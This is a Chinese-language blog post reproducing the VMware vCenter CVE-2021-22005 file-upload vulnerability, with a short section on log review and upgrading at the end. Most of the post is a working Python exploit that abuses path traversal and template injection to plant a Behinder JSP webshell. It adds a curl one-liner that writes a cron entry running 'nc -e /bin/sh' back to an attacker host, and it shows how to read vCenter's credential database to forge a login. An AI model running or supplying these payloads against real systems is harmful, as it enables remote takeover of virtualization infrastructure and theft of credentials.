大柚子

这世界不过如此

注:本文仅分享个人漏洞复现及排查,请勿用于非法途径。

概述

VMware是一家云基础架构和移动商务解决方案厂商,提供基于VMware的虚拟化解决方案。2021年9月22日,VMware 官方发布安全公告,披露了包括 CVE-2021-22005 VMware vCenter Server 任意文件上传漏洞在内的多个中高危严重漏洞。在CVE-2021-22005中,攻击者可构造恶意请求,通过vCenter中的Analytics服务,可上传恶意文件,从而造成远程代码执行漏洞。

影响版本

针对 CVE-2021-22005 VMware vCenter Server 任意文件上传漏洞

VMware vCenter Server 7.0系列 < 7.0 U2c

VMware vCenter Server 6.7系列 < 6.7 U3o

VMware vCenter Server 6.5系列 不受漏洞影响

其余漏洞受影响版本可参考

https://www.vmware.com/security/advisories/VMSA-2021-0020.html

安全版本:

VMware vCenter Server 7.0 U2c

VMware vCenter Server 6.7 U3o

复现过程

环境搭建

笔者这里搭建的版本为6.7.0,安装教程可参考下面链接:

https://cloud.tencent.com/developer/news/246135

内部版本号和版本对应关系

https://www.mr-mao.cn/archives/vmware-vcenter-release-version.html

复现

检测漏洞

通过访问URL:“/analytics/telemetry/ph/api/level?_c=test”返回的信息来判断是否存在漏洞

  • 如果服务器以 200/OK 和响应正文中除“OFF”以外的任何内容(例如“FULL”)进行响应,则它很容易受到攻击。 
  • 如果它以 200/OK 和“OFF”的正文内容响应,则它很可能不易受到攻击,并且也未修补且未应用任何变通方法。
  • 如果它以 400/Bad Request 响应,则对其进行修补。此检查利用以下事实:修补的实例将根据已知/接受的收集器 ID 列表检查收集器 ID (_c)。 
  • 如果它以 404 响应,则它要么不适用,要么已应用解决方法。该解决方法会禁用受影响的 API 端点。
  • 任何其他状态代码可能暗示不适用。

漏洞利用

网上找了个payload,用以上传webshell,这里小小魔改了一下:

import requests
import random
import string
import sys
import time
import requests
import urllib3
import argparse
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
 
 
def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
 return ''.join(random.choice(chars) for _ in range(size))
  
def escape(_str):
 _str = _str.replace("&", "&amp;")
 _str = _str.replace("<", "&lt;")
 _str = _str.replace(">", "&gt;")
 _str = _str.replace("\"", "&quot;")
 return _str
  
def str_to_escaped_unicode(arg_str):
 escaped_str = ''
 for s in arg_str:
   val = ord(s)
   esc_uni = "\\u{:04x}".format(val)
   escaped_str += esc_uni
 return escaped_str
 
 
def createAgent(target, agent_name, log_param):
 
  
 url = "%s/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?_c=%s&_i=%s" % (target, agent_name, log_param)
 headers = { "Cache-Control": "max-age=0", 
       "Upgrade-Insecure-Requests": "1", 
       "User-Agent": "Mozilla/5.0", 
       "X-Deployment-Secret": "abc", 
       "Content-Type": "application/json", 
       "Connection": "close" }
       
 json_data = { "manifestSpec":{}, 
        "objectType": "a2",
        "collectionTriggerDataNeeded": True,
        "deploymentDataNeeded":True, 
        "resultNeeded": True, 
        "signalCollectionCompleted":True, 
        "localManifestPath": "a7",
        "localPayloadPath": "a8",
        "localObfuscationMapPath": "a9" }
         
 requests.post(url, headers=headers, json=json_data, verify=False)
  
 
def generate_manifest(webshell_location, webshell):
 
 manifestData = """<manifest recommendedPageSize="500">
   <request>
    <query name="vir:VCenter">
      <constraint>
       <targetType>ServiceInstance</targetType>
      </constraint>
      <propertySpec>
       <propertyNames>content.about.instanceUuid</propertyNames>
       <propertyNames>content.about.osType</propertyNames>
       <propertyNames>content.about.build</propertyNames>
       <propertyNames>content.about.version</propertyNames>
      </propertySpec>
    </query>
   </request>
   <cdfMapping>
    <indepedentResultsMapping>
      <resultSetMappings>
       <entry>
         <key>vir:VCenter</key>
         <value>
                      <value xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="resultSetMapping">
            <resourceItemToJsonLdMapping>
             <forType>ServiceInstance</forType>
            <mappingCode><![CDATA[  
             #set($appender = $GLOBAL-logger.logger.parent.getAppender("LOGFILE"))##
             #set($orig_log = $appender.getFile())##
             #set($logger = $GLOBAL-logger.logger.parent)##  
             $appender.setFile("%s")##  
             $appender.activateOptions()## 
             $logger.warn("%s")## 
             $appender.setFile($orig_log)##  
             $appender.activateOptions()##]]>
            </mappingCode>
            </resourceItemToJsonLdMapping>
          </value>
         </value>
       </entry>
      </resultSetMappings>
    </indepedentResultsMapping>
   </cdfMapping>
   <requestSchedules>
    <schedule interval="1h">
      <queries>
       <query>vir:VCenter</query>
      </queries>
    </schedule>
   </requestSchedules>
 </manifest>""" % (webshell_location, webshell)
  
 return manifestData
 
def arg():
 parser = argparse.ArgumentParser()
 parser.add_argument("-t", "--target", help = "Target", required = True)
 args = parser.parse_args()
 target = args.target
 print("[*] Target: %s" % target)
 return target
 
def exec():
 target = arg()
 # Variables
 webshell_param = id_generator(6)
 log_param = id_generator(6)
 agent_name = id_generator(6)
 shell_name = "Server.jsp"
 webshell = """冰蝎3马"""
 
 webshell_location = "/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/%s" % shell_name
 webshell = str_to_escaped_unicode(webshell)
 manifestData = generate_manifest(webshell_location,webshell)
 print("[*] Creating Agent")
 createAgent(target, agent_name, log_param)
 url = "%s/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?action=collect&_c=%s&_i=%s" % (target, agent_name, log_param)
 headers = {"Cache-Control": "max-age=0", 
          "Upgrade-Insecure-Requests": "1", 
          "User-Agent": "Mozilla/5.0", 
          "X-Deployment-Secret": "abc", 
          "Content-Type": "application/json", 
          "Connection": "close"}
 json_data ={"contextData": "a3", "manifestContent": manifestData, "objectId": "a2"}
 requests.post(url, headers=headers, json=json_data, verify=False)
 #webshell连接地址
 url = "%s/idm/..;/%s" % (target, shell_name)
 code = requests.get(url=url, headers=headers,verify=False).status_code
 if code != 404:
   print("webshell地址: %s" % url)
   print("[*]冰蝎3.0 Webshell连接密码: rebeyond" )
 
 else:
   print("未获取到webshell地址")
 
 
if __name__ == '__main__':
 target = arg()
 headers={
    'User-Agent':'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Mobile Safari/537.36'
}

 params = (
    ('_c', 'test'),
)
 url = target + "/analytics/telemetry/ph/api/level"
 r = requests.get(url=url,headers=headers,params=params,verify=False,timeout=10)
 code = r.status_code
 if code == 200:
    text = r.text
    if text:
        if "OFF" not in text:
            print(f"\033[0;31m{url}\033[0m 可能存在漏洞")
            exec()
 else:
    print("不存在漏洞")
    
 

网上还有一种反弹shell的脚本,通过写入定时任务反弹,针对linux(注,未测试过,仅供参考)

curl -kv "https:/xx.xx.xx.xx/analytics/telemetry/ph/api/hyper/send?_c=&_i=/../../../../../../etc/cron.d/$RANDOM" -H Content-Type: -d "* * * * * root nc -e /bin/sh vpsip地址 端口"

vCenter cookie读取登录:


•Linux:

 /storage/db/vmware-vmdir/data.mdb

•Windows

 C:\ProgramData\VMware\vCenterServer\data\vmdird\data.mdb

网上找了个方法,我没成功,这里copy学习一下:

下载解密脚本:

git clone https://github.com/horizon3ai/vcenter_saml_login.git

用法:

python3 vcenter_saml_login.py -p data.mdb -t 10.1.2.174

如果提示库文件缺少使用下面方法解决:

ModuleNotFoundError: No module named ‘OpenSSL’

解决方法 pip3 install pyOpenSSL

ModuleNotFoundError: No module named ‘ldap’

解决方法 pip3 install python-ldap

ModuleNotFoundError: No module named ‘signxml’ 解决方法 pip3 install signxml

应急排查

因为前期的利用过程并不是通过http请求获取,故访问日志中并没有记录,但是有一点,因为利用方式是通过上传shell,故后续会有访问shell文件的记录,此可作为一个排查点(注:利用方式不唯一,这只作为一个排查方向

https://kb.vmware.com/s/article/2110014?lang=zh_CN

VMware vCenter Server 6.0 日志位于 %ALLUSERSPROFILE%\VMWare\vCenterServer\logs 文件夹中。VMware vCenter Server Appliance 6.0 日志位于 /var/log/vmware/ 文件夹中

vmware vcenter 日志路径:C:\ProgramData\VMware\vCenterServer\logs\perfcharts

修复建议

升级到最新版本

参考链接

https://cloud.tencent.com/developer/article/1899771

https://www.its404.com/article/qq_44159028/120551527

Print Friendly, PDF & Email

发表回复

您的电子邮箱地址不会被公开。